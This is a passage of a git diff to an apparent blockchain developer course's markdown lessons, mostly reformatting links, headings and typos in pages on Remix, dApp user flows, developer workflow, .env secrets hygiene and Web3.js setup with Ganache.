contract analysis. This is not an endorsement of this, just letting you know it exists! \ No newline at end of file + +- [Thread: Before an Audit](https://mobile.twitter.com/tinchoabbate/status/1400170232904400897?s=20){target=\_blank} @Tincho, a security researcher at OpenZeppelin, walks through the things you absolutely should do before submitting your code for an audit +- [Code4rena](https://code4rena.com/){target=\_blank} "A community-driven approach to competitive smart contract audits." A great way to get into auditing — no experience necessary. +- [Immunefi](https://immunefi.com/){target=\_blank} A collection of bug bounties for blockchain projects anyone can contribute. +- [Article: Introducing Solidify (Coinbase)](https://web.archive.org/web/20210830084611/https://blog.coinbase.com/introducing-solidify-a-tool-to-automatically-detect-and-classify-smart-contract-security-risks-73a1338fdbbe){target=\_blank} We haven't gotten a chance to try this one, but Coinbase offering a new tool for smart contract analysis. This is not an endorsement of this, just letting you know it exists! diff --git a/docs/S03-smart-contracts/V0-intro-to-remix/index.md b/docs/S03-smart-contracts/V0-intro-to-remix/index.md index b839d01e..f5e8d8f3 100644 --- a/docs/S03-smart-contracts/V0-intro-to-remix/index.md +++ b/docs/S03-smart-contracts/V0-intro-to-remix/index.md @@ -1,10 +1,12 @@ -In this video, we'll introduce you to [Remix,](https://remix.ethereum.org/) the Integrated Development Environment ([IDE](https://www.redhat.com/en/topics/middleware/what-is-ide)) for Solidity and Ethereum development maintained by [the Ethereum Foundation.](https://ethereum.org/en/) Smart contract and decentralized application development requires a number of pieces such as compilers, testnets, accounts and more. Remix has all those tools and allows you to work on smart contract code in your browser. +# Remix + +In this video, we'll introduce you to [Remix](https://remix.ethereum.org/){target=\_blank}, the Integrated Development Environment ([IDE](https://www.redhat.com/en/topics/middleware/what-is-ide){target=\_blank}) for Solidity and Ethereum development maintained by [the Ethereum Foundation](https://ethereum.org/en/){target=\_blank}. Smart contract and decentralized application development requires a number of pieces such as compilers, testnets, accounts and more. Remix has all those tools and allows you to work on smart contract code in your browser. Remix is not ideal for production-use code. However, it is a nice stepping stone as you learn more about smart contracts, Solidity, and developer tooling for the blockchain. -*Please note that the interface for Remix has changed over the past few years. Older tutorials may not look like the same Remix.* +_Please note that the interface for Remix has changed over the past few years. Older tutorials may not look like the same Remix._ -**Additional Materials** +## Additional Material -- [Remix Documentation](https://remix-ide.readthedocs.io/en/latest/) -- [Video: Intro to Remix and Solidity (Chainlink)](https://www.youtube.com/watch?v=JWJWT9cwFbo) +- [Remix Documentation](https://remix-ide.readthedocs.io/en/latest/){target=\_blank} +- [Video: Intro to Remix and Solidity (Chainlink)](https://www.youtube.com/watch?v=JWJWT9cwFbo){target=\_blank} diff --git a/docs/S04-developer-tooling/M1-intro/L1-users-in-mental-model/index.md b/docs/S04-developer-tooling/M1-intro/L1-users-in-mental-model/index.md index 5565c4ce..c7975876 100644 --- a/docs/S04-developer-tooling/M1-intro/L1-users-in-mental-model/index.md +++ b/docs/S04-developer-tooling/M1-intro/L1-users-in-mental-model/index.md @@ -1,53 +1,48 @@ - Where Do Users Fit in Our Mental Model? -======================================= +# Where Do Users Fit in Our Mental Model? - Now that we've gone through the smart contract section and have a good understanding of how we can deploy self-executing code to a blockchain network, it's time to turn to the users of our applications. In particular, we're going to examine how users that are interacting with our smart contracts deployed on our favorite blockchain fit into the mental model we've been building +Now that we've gone through the smart contract section and have a good understanding of how we can deploy self-executing code to a blockchain network, it's time to turn to the users of our applications. In particular, we're going to examine how users that are interacting with our smart contracts deployed on our favorite blockchain fit into the mental model we've been building - After we've looked at this, we're going to start building an understanding of the smart contract development workflow and how it can be changed or altered based on the kind of application we're developing and the user we're targeting. +After we've looked at this, we're going to start building an understanding of the smart contract development workflow and how it can be changed or altered based on the kind of application we're developing and the user we're targeting. - Users in the Mental Model -------------------------- +## Users in the Mental Model - The users represent a potential new element, that is to say the non-blockchain world. In an ideal world, all your users know how to use blockchain, are loyal [degens](https://www.coingecko.com/en/glossary/degen){target=_blank} on [Crypto-Twitter,](https://www.forbes.com/sites/haileylennon/2021/03/16/are-cryptocurrency-and-twitter-mutually-exclusive/?sh=7a340478614b){target=_blank} and are already onboarded to the blockchain world. if only it were so easy! In reality, we have users located on a [spectrum](https://twitter.com/CupOJoseph/status/1413334858143834114 ){target=_blank} of abilities, understanding and desires. +The users represent a potential new element, that is to say the non-blockchain world. In an ideal world, all your users know how to use blockchain, are loyal [degens](https://www.coingecko.com/en/glossary/degen){target=\_blank} on [Crypto-Twitter](https://www.forbes.com/sites/haileylennon/2021/03/16/are-cryptocurrency-and-twitter-mutually-exclusive/?sh=7a340478614b){target=\_blank}, and are already onboarded to the blockchain world. if only it were so easy! In reality, we have users located on a [spectrum](https://twitter.com/CupOJoseph/status/1413334858143834114){target=\_blank} of abilities, understanding and desires. - We'll build this out more as we go, but for sake of simplicity, in this section we will emphasize how the overwhelming majority of your blockchain users will interact with your application: through a JavaScript API. Below is a diagram illustrating how the typical user interacts with a distributed application (we're using Ethereum as the public blockchain, but you can imagine it to be any general public blockchain): +We'll build this out more as we go, but for sake of simplicity, in this section we will emphasize how the overwhelming majority of your blockchain users will interact with your application: through a JavaScript API. Below is a diagram illustrating how the typical user interacts with a distributed application (we're using Ethereum as the public blockchain, but you can imagine it to be any general public blockchain): - ![diagram illustrating how the typical user interacts with a distributed application](../../../img/S04/users-in-mm-1.png) +![diagram illustrating how the typical user interacts with a distributed application](../../../img/S04/users-in-mm-1.png) - On the left, we see a user interacting with a frontend interface, usually a website on a traditional web browser their device, either on mobile or desktop. That website is powered primarily by "Web 2.0" technology (browser connects to a server, has responsive layout, has interactive JavaScript interface). However, the website has two main elements powered by blockchain. The first is any data the website is reading from the blockchain. This might be recent transactions, current user balance, current block number on the network, etc. +On the left, we see a user interacting with a frontend interface, usually a website on a traditional web browser their device, either on mobile or desktop. That website is powered primarily by "Web 2.0" technology (browser connects to a server, has responsive layout, has interactive JavaScript interface). However, the website has two main elements powered by blockchain. The first is any data the website is reading from the blockchain. This might be recent transactions, current user balance, current block number on the network, etc. - The second is the ability for the user to submit their own transactions to the blockchain from the website ("writing" to the network). This is made possible through a concert of three aspects: -* **A Ethereum Provider JavaScript library** These libraries (web3.js or ethers.js, for example) have all the tooling needed to simplify communication between your website and the Ethereum network -* A **cryptowallet** which can safely handle a user's private key, allowing them to sign transactions (MetaMask, in this case) -* **Code deployed by you, the developer,** to your website which constructs pre-formatted transactions, targeting your deployed smart contract, specifically a function in its ABI. +The second is the ability for the user to submit their own transactions to the blockchain from the website ("writing" to the network). This is made possible through a concert of three aspects: - You, the developer of the distributed application, have coded in certain transaction parameters to be filled in by the user. These transactions parameters are targeting a deployed smart contract's ABI. That transaction will then be properly signed by the cryptowallet then submitted to the blockchain network. In this case, MetaMask will submit our transaction using an Infura endpoint. The image below shows a simplified version of the workflow we just described: +- **A Ethereum Provider JavaScript library** These libraries (web3.js or ethers.js, for example) have all the tooling needed to simplify communication between your website and the Ethereum network +- A **cryptowallet** which can safely handle a user's private key, allowing them to sign transactions (MetaMask, in this case) +- **Code deployed by you, the developer,** to your website which constructs pre-formatted transactions, targeting your deployed smart contract, specifically a function in its ABI. - ![diagram showing pre-formatted smart contract code](../../../img/S04/users-in-mm-2.png) +You, the developer of the distributed application, have coded in certain transaction parameters to be filled in by the user. These transactions parameters are targeting a deployed smart contract's ABI. That transaction will then be properly signed by the cryptowallet then submitted to the blockchain network. In this case, MetaMask will submit our transaction using an Infura endpoint. The image below shows a simplified version of the workflow we just described: - Let's return to our blockchain network and our smart contract model to see how this user workflow comes into play. Specifically, let's see how that pre-formatted transaction code is submitted to the network and propagates a new network state. +![diagram showing pre-formatted smart contract code](../../../img/S04/users-in-mm-2.png) - ![diagram blending the two mental models](../../../img/S04/users-in-mm-3.png) +Let's return to our blockchain network and our smart contract model to see how this user workflow comes into play. Specifically, let's see how that pre-formatted transaction code is submitted to the network and propagates a new network state. - The image above shows how we are combining the two mental models we've been working with. On the left-hand side, we see the user has their transaction, which has been pre-formatted by the application developer but populated and authorized by the user. To the right, we see the basic blockchain network. Effectively, when the user submits their transaction, they do so as a node in the network broadcasting any other transaction. It will be propagated throughout the network (each node that receives it checks its digital signature validity before passing it on) and eventually become part of the emergent ["mempool"](https://academy.binance.com/en/glossary/mempool){target=_blank} of unmined transactions. Once it is mined, we can then see how it will affect global network state. +![diagram blending the two mental models](../../../img/S04/users-in-mm-3.png) - Assuming the user's transaction is valid (including proper gas fees, etc.), it will be included into a block by a miner. That miner will then propagate the block out into the network, requiring all the other nodes in the network to check the block and then incorporate the state changes implied by the transactions included in that block. Below, we see our user's transaction being processed by another node who has received it in a block: +The image above shows how we are combining the two mental models we've been working with. On the left-hand side, we see the user has their transaction, which has been pre-formatted by the application developer but populated and authorized by the user. To the right, we see the basic blockchain network. Effectively, when the user submits their transaction, they do so as a node in the network broadcasting any other transaction. It will be propagated throughout the network (each node that receives it checks its digital signature validity before passing it on) and eventually become part of the emergent ["mempool"](https://academy.binance.com/en/glossary/mempool){target=\_blank} of unmined transactions. Once it is mined, we can then see how it will affect global network state. - ![user transaction being incorporated into the network state](../../../img/S04/users-in-mm-4.png) +Assuming the user's transaction is valid (including proper gas fees, etc.), it will be included into a block by a miner. That miner will then propagate the block out into the network, requiring all the other nodes in the network to check the block and then incorporate the state changes implied by the transactions included in that block. Below, we see our user's transaction being processed by another node who has received it in a block: - As each node in the network processes the block containing our user's transaction, the new global network state will begin to emerge that includes the state changes caused by our user's transaction (We're showing that network state change below with a checkmark). Since submitting the transaction, the user's website interface has been using MetaMask as its network gateway. It's looking specifically for the transaction's "confirmation" (both inclusion in a mined block as well as that block's propagation). Once it detects the transactions confirmation, the website interface will be updated to reflect that state change and let the user know their transaction has "gone through". +![user transaction being incorporated into the network state](../../../img/S04/users-in-mm-4.png) - ![image showing network confirming the transaction and user interface reflecting that state](../../../img/S04/users-in-mm-5.png) +As each node in the network processes the block containing our user's transaction, the new global network state will begin to emerge that includes the state changes caused by our user's transaction (We're showing that network state change below with a checkmark). Since submitting the transaction, the user's website interface has been using MetaMask as its network gateway. It's looking specifically for the transaction's "confirmation" (both inclusion in a mined block as well as that block's propagation). Once it detects the transactions confirmation, the website interface will be updated to reflect that state change and let the user know their transaction has "gone through". - Conclusion ----------- +![image showing network confirming the transaction and user interface reflecting that state](../../../img/S04/users-in-mm-5.png) - Now that we have an understanding of where the user sits in our mental model, we're faced with a new set of challenges. Mainly, how do we integrate all these different elements of development so our user's have a seamless exeperience? In the next few sections, we're going to show you how you can begin to approach this. In the process, you will become intimately acquainted with developer tooling that will give you confidence in approaching this tall task. +## Conclusion - Additional Material -------------------- +Now that we have an understanding of where the user sits in our mental model, we're faced with a new set of challenges. Mainly, how do we integrate all these different elements of development so our user's have a seamless experience? In the next few sections, we're going to show you how you can begin to approach this. In the process, you will become intimately acquainted with developer tooling that will give you confidence in approaching this tall task. - - [Article: Building for the Blockchain](https://blog.ycombinator.com/building-for-the-blockchain/){target=_blank} Dated material but has a nice overview of the paradigm shift taking place between Web 2 and Web 3. - - [Article: Want to Understand Blockchain? You Need to Understand State](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/){target=_blank} Overview discussing the integration of state from a JavaScript framework perspective to the blockchain public network perspective. - +## Additional Material +- [Article: Building for the Blockchain](https://blog.ycombinator.com/building-for-the-blockchain/){target=\_blank} Dated material but has a nice overview of the paradigm shift taking place between Web 2 and Web 3. +- [Article: Want to Understand Blockchain? You Need to Understand State](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/){target=\_blank} Overview discussing the integration of state from a JavaScript framework perspective to the blockchain public network perspective. diff --git a/docs/S04-developer-tooling/M1-intro/L2-features-of-dapp-dev/index.md b/docs/S04-developer-tooling/M1-intro/L2-features-of-dapp-dev/index.md index 6aff0b93..95772ac0 100644 --- a/docs/S04-developer-tooling/M1-intro/L2-features-of-dapp-dev/index.md +++ b/docs/S04-developer-tooling/M1-intro/L2-features-of-dapp-dev/index.md @@ -1,6 +1,8 @@ +# Features of dApp development + Now that we've added users to our mental model, this video will discuss features of decentralized application development from a different perspective. -**Note: Some of the material in this video is dated. For example, [the Mist Browser](https://github.com/ethereum/mist) has been sunsetted. However, we feel as though this video contains valuable information about the broad context of blockchain development. Specifically how one of the most impactful decisions we make as developers is whether we even *need* to use a blockchain!** +**Note: Some of the material in this video is dated. For example, [the Mist Browser](https://github.com/ethereum/mist) has been sunset. However, we feel as though this video contains valuable information about the broad context of blockchain development. Specifically how one of the most impactful decisions we make as developers is whether we even *need* to use a blockchain!** Here you see important differences between a Web 2.0 Application (client-server) and a Web 3.0 Decentralized Application (front-end + blockchain): @@ -11,13 +13,12 @@ Here you see important differences between a Web 2.0 Application (client-server) Additional Resources: -1. [How to Get Into Web 3 as a Developer](https://dev.to/dabit3/how-to-get-into-ethereum-crypto-web3-as-a-developer-9l6) -2. [Want to Understand Blockchain? You Need to Understand State](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/) -3. [A Brief Overview of Dapp Development](https://thecontrol.co/a-brief-overview-of-dapp-development-b8ac1648322c) A bit dated, but good overview! -4. [Building for Blockchain: Transitioning from Web 2.0 to Web 3.0](https://blog.ycombinator.com/building-for-the-blockchain/)  Again, also a bit dated but holds some good evergreen advice -5. [Notion Board to Learn Blockchain Development](https://www.notion.so/Basecamp-55bd8855ed804a449985a0cec6540ae1) -6. [How to Become a DeFi Developer](https://defiweekly.substack.com/p/how-to-become-a-defi-developer) -7. [Thread on Resources to Learn Blockchain Development](https://twitter.com/wslyvh/status/1405493777347739654) -8. [Thread on How to Go From "Zero to Deployed Dapp" Developer](https://www.youtube.com/watch?v=OwSl2xwl2-w) -9. [How to Become a Blockchain Developer in 2021](https://t.co/lSbNPDmaP4?amp=1) -10. [A Guide for Developers Interested in Learning Blockchain Development](https://www.linumlabs.com/articles/a-guide-for-developers-interested-in-learning-blockchain-development) Super solid (opinionated) rundown of developer tools and considerations when entering blockchain development +- [How to Get Into Web 3 as a Developer](https://dev.to/dabit3/how-to-get-into-ethereum-crypto-web3-as-a-developer-9l6){target=\_blank} +- [Want to Understand Blockchain? You Need to Understand State](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/){target=\_blank} +- [A Brief Overview of Dapp Development](https://thecontrol.co/a-brief-overview-of-dapp-development-b8ac1648322c){target=\_blank} A bit dated, but good overview! +- [Building for Blockchain: Transitioning from Web 2.0 to Web 3.0](https://blog.ycombinator.com/building-for-the-blockchain/){target=\_blank}  Again, also a bit dated but holds some good evergreen advice +- [Notion Board to Learn Blockchain Development](https://www.notion.so/Basecamp-55bd8855ed804a449985a0cec6540ae1){target=\_blank} +- [How to Become a DeFi Developer](https://defiweekly.substack.com/p/how-to-become-a-defi-developer){target=\_blank} +- [Thread on Resources to Learn Blockchain Development](https://web.archive.org/web/20220301101303/https://twitter.com/wslyvh/status/1405493777347739654){target=\_blank} +- [How to Become a Blockchain Developer in 2021](https://www.youtube.com/watch?v=OwSl2xwl2-w){target=\_blank} +- [A Guide for Developers Interested in Learning Blockchain Development](https://www.linumlabs.com/articles/a-guide-for-developers-interested-in-learning-blockchain-development){target=\_blank} Super solid (opinionated) rundown of developer tools and considerations when entering blockchain development diff --git a/docs/S04-developer-tooling/M1-intro/L3-trad-vs-dapp-dev/index.md b/docs/S04-developer-tooling/M1-intro/L3-trad-vs-dapp-dev/index.md index 7c6dd6a0..f85f1aa3 100644 --- a/docs/S04-developer-tooling/M1-intro/L3-trad-vs-dapp-dev/index.md +++ b/docs/S04-developer-tooling/M1-intro/L3-trad-vs-dapp-dev/index.md @@ -1,4 +1,6 @@ -Additional Material: +# Traditional vs dApp development -1. [Want to Understand Blockchain? You Need to Understand State](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/) -2. [Why use a blockchain](https://www.coindesk.com/information/why-use-a-blockchain/)? +## Additional Material + +1. [Want to Understand Blockchain? You Need to Understand State](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/){target=\_blank} +2. [Why use a blockchain](https://www.coindesk.com/information/why-use-a-blockchain/){target=\_blank}? diff --git a/docs/S04-developer-tooling/M1-intro/L4-ag-dev-workflow/index.md b/docs/S04-developer-tooling/M1-intro/L4-ag-dev-workflow/index.md index b2e75467..8f2d9aac 100644 --- a/docs/S04-developer-tooling/M1-intro/L4-ag-dev-workflow/index.md +++ b/docs/S04-developer-tooling/M1-intro/L4-ag-dev-workflow/index.md @@ -1,8 +1,8 @@ # Blockchain Agnostic Developer Workflow -It's no surprise by now that, in this course, we want to give you frameworks to help you approach the complicated business of blockchain development. In this section, we're hoping to give you a sense of the general workflow you'll be doing as a developer while developing a distributed application ("dapp" or smart contract + interface) on any blockchain. +It's no surprise by now that, in this course, we want to give you frameworks to help you approach the complicated business of blockchain development. In this section, we're hoping to give you a sense of the general workflow you'll be doing as a developer while developing a distributed application ("dapp" or smart contract + interface) on any blockchain. -_Note: This is *not* the workflow of a protocol designer, which is a more traditional project-based work environment based on the development language_ +_Note: This is **not** the workflow of a protocol designer, which is a more traditional project-based work environment based on the development language_ ## Lifecycle of a Project @@ -10,34 +10,33 @@ Let's see the overall lifecycle of a dapp project: ![diagram showing the overall lifecycle of a dapp project](../../../img/S04/ag-dev-mm-1.png) -Perhaps the most important work you can do as a developer is the first step: *Determine the scope and goals of your project.* This does not require _any_ code at all, but it will save you so much time in the future. It's essentially creating the roadmap for your application and, when things get complicated, you'll be able to refer back to it for clarity. (This step should be familiar as the first exercise in the course was for you to do this step for your final project!) +Perhaps the most important work you can do as a developer is the first step: _Determine the scope and goals of your project._ This does not require _any_ code at all, but it will save you so much time in the future. It's essentially creating the roadmap for your application and, when things get complicated, you'll be able to refer back to it for clarity. (This step should be familiar as the first exercise in the course was for you to do this step for your final project!) -Next comes the *Architectural and Technical Design*: Sketching out the technical parameters of your project. What will your smart contract function parameters look like? Where will you do storage? How will you divide on-chain and off-chain logic? If your project involves others, how will you implement governance? How do you plan to scale? +Next comes the _Architectural and Technical Design_: Sketching out the technical parameters of your project. What will your smart contract function parameters look like? Where will you do storage? How will you divide on-chain and off-chain logic? If your project involves others, how will you implement governance? How do you plan to scale? -Next is the *Development* phase, which is typically what people think the _only_ phase. Please note that this is the *third* step in building a project (Planning is so important)! We'll drill deeper into this step later in the section, but it's primarily the building and testing of your smart contract and interface. In this step, you'll leverage framework development tools, like Truffle or Hardhat, as well as testing tools, like testing suites and testnets. You'll also be referring to the notes you've made in the previous two steps, being sure to stay within the guidelines you made for yourself. +Next is the _Development_ phase, which is typically what people think the _only_ phase. Please note that this is the _third_ step in building a project (Planning is so important)! We'll drill deeper into this step later in the section, but it's primarily the building and testing of your smart contract and interface. In this step, you'll leverage framework development tools, like Truffle or Hardhat, as well as testing tools, like testing suites and testnets. You'll also be referring to the notes you've made in the previous two steps, being sure to stay within the guidelines you made for yourself. -Next comes *Security Audit.* We've already heard about Diligence and security tools such as MythX, Scribble, Slither or Manticore. For projects that could potentially hold enormous value this step is *critical* and should not be overlooked. It can sometimes be challenging to find a team or project to audit your code, but it is worth the effort considering the potential downside! +Next comes _Security Audit._ We've already heard about Diligence and security tools such as MythX, Scribble, Slither or Manticore. For projects that could potentially hold enormous value this step is _critical_ and should not be overlooked. It can sometimes be challenging to find a team or project to audit your code, but it is worth the effort considering the potential downside! -Simultaneous with an audit, you might be running the next step, *Bug Bounty and Community,* meaning somehow starting to ask your community to test-drive your project. Note, this is before an official, version 1.0 release. +Simultaneous with an audit, you might be running the next step, _Bug Bounty and Community,_ meaning somehow starting to ask your community to test-drive your project. Note, this is before an official, version 1.0 release. -Last, after all these steps, is the *Launch*. You may have already stealthily deployed your contract, assuming you've done all the testing and auditing, but this is where you announce the interface and let folks know that it's ready to go! As we'll see next, in some ways your work has just begun, but at least you've gotten your project launched into the world! +Last, after all these steps, is the _Launch_. You may have already stealthily deployed your contract, assuming you've done all the testing and auditing, but this is where you announce the interface and let folks know that it's ready to go! As we'll see next, in some ways your work has just begun, but at least you've gotten your project launched into the world! ## Developer Tooling -We're now going to drill into the **Development** phase mentioned above. This is probably what we all think of when we think about developing application for the blockchain. Here's a simplified oveview of what a development flow looks like at the beginning of a project: +We're now going to drill into the **Development** phase mentioned above. This is probably what we all think of when we think about developing application for the blockchain. Here's a simplified overview of what a development flow looks like at the beginning of a project: ![simplified developer tooling](../../../img/S04/ag-dev-mm-3.png) -Here we see the developer (you) working mainly from their code editor, in which they'll have both the smart contracts *and* whatever frontend interface they're working on. The code editor will be stocked with the most helpful general extensions as well as specific smart contract extensions, such as the [Solidity extension](https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity){target=_blank} for VSCode as well as tools to help with gas estimation or contract sizing. Next, the developer will have a framework that they're using to deploy the smart contract and interface. In the image above, the developer is using Truffle to build their contracts, hold the build artifacts, run tests and deploy to a testnet. There are other options as well, such as [Hardhat](https://hardhat.org/){target=_blank}, [Scaffold-Eth](https://github.com/austintgriffith/scaffold-eth){target=_blank}, and [Brownie](https://eth-brownie.readthedocs.io/en/stable/){target=_blank}, to name some of the more popular ones. +Here we see the developer (you) working mainly from their code editor, in which they'll have both the smart contracts _and_ whatever frontend interface they're working on. The code editor will be stocked with the most helpful general extensions as well as specific smart contract extensions, such as the [Solidity extension](https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity){target=\_blank} for VSCode as well as tools to help with gas estimation or contract sizing. Next, the developer will have a framework that they're using to deploy the smart contract and interface. In the image above, the developer is using Truffle to build their contracts, hold the build artifacts, run tests and deploy to a testnet. There are other options as well, such as [Hardhat](https://hardhat.org/){target=\_blank}, [Scaffold-Eth](https://github.com/austintgriffith/scaffold-eth){target=\_blank}, and [Brownie](https://eth-brownie.readthedocs.io/en/stable/){target=\_blank}, to name some of the more popular ones. -The developers will be then having some private testnet tool they're using to deploy the smart contract in the early stages. This will be Ganache for us, since we're using Truffle. As we continue to become more confident in our development process, we may want to deploy to a public testnet. For this, we will use either an Ethereum node we have on our machine or we'll use a gateway service like [Infura](https://infura.io){target=_blank}, which will allow us to easily deploy to an Ethereum testnet, Ethereum mainnet, or even networks like Polygon, Arbitrum or Optimism. (If we're starting to lose you, don't worry we'll cover all these things later in the course!) +The developers will be then having some private testnet tool they're using to deploy the smart contract in the early stages. This will be Ganache for us, since we're using Truffle. As we continue to become more confident in our development process, we may want to deploy to a public testnet. For this, we will use either an Ethereum node we have on our machine or we'll use a gateway service like [Infura](https://infura.io){target=\_blank}, which will allow us to easily deploy to an Ethereum testnet, Ethereum mainnet, or even networks like Polygon, Arbitrum or Optimism. (If we're starting to lose you, don't worry we'll cover all these things later in the course!) ## Environment Variables - One thing that seems trivial but is incredibly important is the `.env` file for your project. These are the local environmental variables that allow you to deploy your application to the public blockchain network. It also is the best way to ensure you don't expose your private keys or any other sensitive information when you're developing. Particularly when you're pushing material to a git repository, it's easy for folks to forget they've included sensitive information. There are definitely bots that are continually scanning GitHub for private keys that will immediately be compromised. -Please read this article about how to keep your development environment safe by using a `.env` file and other essential techniques! +Please read [this article](https://consensys.net/blog/developers/how-to-avoid-uploading-your-private-key-to-github-approaches-to-prevent-making-your-secrets-public){target=\_blank} about how to keep your development environment safe by using a `.env` file and other essential techniques! These environment variables are also useful to adapt your application to different networks. For example, you may want to use a different contract address on the mainnet than you do on a testnet. You can use environment variables to make this happen. @@ -51,12 +50,12 @@ As you become more familiar with blockchain development and as your project grow We'll get into these tools more but it's a bit beyond the scope of this lesson. In the next few sections, however, you'll become more familiar with the tools and mechanisms shown here. - ## Additional Materials -- [Remix Interface](https://remix.ethereum.org){target=_blank} The original IDE for Ethereum! Well, probably not the original, but still the best first place to go to start Solidity development. -- [Basic Training: Code Editors, VSCode Extensions](https://courses.consensys.net/courses/bootcamp-basic-training){target=_blank} I know, I know, you're super sick of hearing about Basic Training. Fair! But you should be sure to install all the VSCode extensions in this section of Basic Training, since it will help with development! -- Tutorial: Using an .env file to keep your secrets safe Essential reading! -- **Good Extensions to Know About** [Hardhat-contract-sizer](https://www.npmjs.com/package/hardhat-contract-sizer){target=_blank}, [hardhat-gas-reporter](https://www.npmjs.com/package/hardhat-gas-reporter){target=_blank} -- [Replit](https://www.replit.com){target=_blank} Still exploring this one, but really good potential for troubleshooting code with friends. Not blockchain specific! -- [Testing in the Twenties](https://www.tbray.org/ongoing/When/202x/2021/05/15/Testing-in-2021){target=_blank} Really good general advice about testing! -- [How to Setup a Solidity Project](https://blog.oliverjumpertz.dev/how-to-set-up-a-solidity-project-and-create-your-first-smart-contract){target=_blank} + +- [Remix Interface](https://remix.ethereum.org){target=\_blank} The original IDE for Ethereum! Well, probably not the original, but still the best first place to go to start Solidity development. +- [Basic Training: Code Editors, VSCode Extensions](https://courses.consensys.net/courses/bootcamp-basic-training){target=\_blank} I know, I know, you're super sick of hearing about Basic Training. Fair! But you should be sure to install all the VSCode extensions in this section of Basic Training, since it will help with development! +- [Tutorial: Using an .env file to keep your secrets safe](https://consensys.net/blog/developers/how-to-avoid-uploading-your-private-key-to-github-approaches-to-prevent-making-your-secrets-public){target=\_blank} Essential reading! +- **Good Extensions to Know About** [Hardhat-contract-sizer](https://www.npmjs.com/package/hardhat-contract-sizer){target=\_blank}, [hardhat-gas-reporter](https://www.npmjs.com/package/hardhat-gas-reporter){target=\_blank} +- [Replit](https://www.replit.com){target=\_blank} Still exploring this one, but really good potential for troubleshooting code with friends. Not blockchain specific! +- [Testing in the Twenties](https://www.tbray.org/ongoing/When/202x/2021/05/15/Testing-in-2021){target=\_blank} Really good general advice about testing! +- [How to Setup a Solidity Project](https://blog.oliverjumpertz.dev/how-to-set-up-a-solidity-project-and-create-your-first-smart-contract){target=\_blank} diff --git a/docs/S04-developer-tooling/M2-web3-libraries/L1-intro-web3-ethers/index.md b/docs/S04-developer-tooling/M2-web3-libraries/L1-intro-web3-ethers/index.md index 2193b63d..4834268a 100644 --- a/docs/S04-developer-tooling/M2-web3-libraries/L1-intro-web3-ethers/index.md +++ b/docs/S04-developer-tooling/M2-web3-libraries/L1-intro-web3-ethers/index.md @@ -2,28 +2,28 @@ As we mentioned in "Where Do Users Fit in Our Mental Model?" Web 3 JavaScript APIs are critical to connecting users to our blockchain applications. There are a variety of common JavaScript libraries that you can use to connect to Ethereum and develop an interface for your users. Many of the libraries serve the same purpose and have the same functionality, but the syntax differs for each. -The purpose of this lesson is to show the similarities and differences between the main two libraries, Web3.js and ethers.js, so you gain a better understanding of what these libraries do a general level and how each one does it. +The purpose of this lesson is to show the similarities and differences between the main two libraries,[Web3.js](https://web3js.readthedocs.io/en/latest/){target=\_blank} and [ethers.js](https://docs.ethers.io){target=\_blank}, so you gain a better understanding of what these libraries do a general level and how each one does it. If you are using the Brave browser, you may encounter conflicts with the built-in Ethereum wallet and Metamask. If this happens, try using a different browser with Metamask installed. ## Truffle -Truffle is the framework that we have covered in the most depth so far in the course. Truffle will connect to a running blockchain specified in the truffle-config.js file, manage deployments via migration scripts and information stored in the truffle artifacts and abstracts away much of the complexity of interacting with contracts (via [contract abstractions](https://trufflesuite.com/docs/truffle/reference/contract-abstractions)). +Truffle is the framework that we have covered in the most depth so far in the course. Truffle will connect to a running blockchain specified in the truffle-config.js file, manage deployments via migration scripts and information stored in the truffle artifacts and abstracts away much of the complexity of interacting with contracts (via [contract abstractions](https://trufflesuite.com/docs/truffle/reference/contract-abstractions){target=\_blank}). Other libraries handle these in different ways and have different APIs that are useful to review. ## Web3.js -Web3.js is one of the most popular JavaScript libraries in Ethereum dApp development. It is currently maintained by Chainsafe, and you can visit [the Web3.js repository here.](https://github.com/ChainSafe/web3.js){target=_blank} +Web3.js is one of the most popular JavaScript libraries in Ethereum dApp development. It is currently maintained by Chainsafe, and you can visit [the Web3.js repository here.](https://github.com/ChainSafe/web3.js){target=\_blank}. -Formerly, Web3.js was the library that Metamask would injected into your browser. If you had Metamask installed in your browser, you could see the web3 object by opening your browser developer tools. Since 2020, MetaMask has deprecated the injection of Web3.js into the browser and now simply uses window.ethereum. [Read more here.](https://medium.com/metamask/breaking-changes-to-the-metamask-provider-are-here-7b11c9388be9){target=_blank} +Formerly, Web3.js was the library that Metamask would injected into your browser. If you had Metamask installed in your browser, you could see the web3 object by opening your browser developer tools. Since 2020, MetaMask has deprecated the injection of Web3.js into the browser and now simply uses window.ethereum. [Read more here](https://medium.com/metamask/breaking-changes-to-the-metamask-provider-are-here-7b11c9388be9){target=\_blank}. Since MetaMask does not inject it anymore, let's add it ourselves using the following steps: -1. Open your browser's developer console. [See this article for how to do it](https://support.happyfox.com/kb/article/882-accessing-the-browser-console-and-network-logs/){target=_blank} for major browsers in each major operating system. +1. Open your browser's developer console. [See this article for how to do it](https://support.happyfox.com/kb/article/882-accessing-the-browser-console-and-network-logs/){target=\_blank} for major browsers in each major operating system. 2. In the Console, add the following series of Javascript code. Press enter after each line of code: -``` +```javascript var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'script.js'; @@ -37,13 +37,13 @@ Now, we need to start up a local testnet using Ganache. ## Connect to Ganache GUI -Let's connect to Ganache GUI. Start [Ganache GUI](https://truffleframework.com/docs/ganache/overview) and use the gear icon to change the Ganache port to `8545`. +Let's connect to Ganache GUI. Start [Ganache GUI](https://truffleframework.com/docs/ganache/overview){target=\_blank} and use the gear icon to change the Ganache port to `8545`. ![finding the gear in ganache GUI](../../../img/S04/ganache-1.png) ![changing the port number in ganache GUI](../../../img/S04/ganache-2.png) -connect Metamask to `Localhost 8545` +Connect Metamask to `http://localhost:8545` ## Import Ganache Account into MetaMask @@ -51,7 +51,9 @@ connect Metamask to `Localhost 8545` You can easily import Ganache GUI accounts into Metamask by importing via the private key. Click the key icon on the right side of Ganache GUI to get the associated account private key. To import the account into 